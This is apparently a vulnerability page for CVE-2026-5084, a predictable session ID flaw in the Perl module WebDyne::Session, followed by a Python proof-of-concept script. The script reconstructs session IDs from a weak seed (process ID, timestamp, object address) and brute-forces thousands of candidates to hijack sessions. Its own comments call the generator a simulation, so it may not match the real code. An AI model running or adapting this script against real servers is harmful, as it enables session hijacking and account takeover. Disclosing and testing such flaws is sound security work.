CVE-2026-5084 WebDyne::Session会话ID可预测漏洞

# Proof of Concept (PoC) for CVE-2026-5084 # This script demonstrates how to predict session IDs by guessing the weak seed. import hashlib import time def predict_session_id(pid, timestamp, obj_ref): # Simulating the weak seeding mechanism used in WebDyne::Session # Note: Actual implementation depends on specific Perl rand() internals seed = (pid ^ timestamp ^ obj_ref) & 0xFFFFFFFF # Simple PRNG simulation to mimic weak randomness random_val = (seed * 1103515245 + 12345) & 0x7fffffff # Constructing the session string similar to the vulnerable code session_data = f"{pid}-{timestamp}-{random_val}" return hashlib.md5(session_data.encode()).hexdigest() # Attack Scenario: Brute forcing within a reasonable time window and PID range def brute_force(): print("[*] Attempting to predict session IDs...") current_time = int(time.time()) possible_sids = [] # Assume attacker knows the rough time and server PID range for t in range(current_time - 10, current_time + 10): for pid in range(1, 5000): # Typical PID range for ref in [0x1000, 0x2000]: # Simulating object addresses sid = predict_session_id(pid, t, ref) possible_sids.append(sid) print(f"[+] Generated {len(possible_sids)} potential session IDs.") print("[*] Attacker can now test these IDs to hijack a session.") return possible_sids if __name__ == "__main__": brute_force()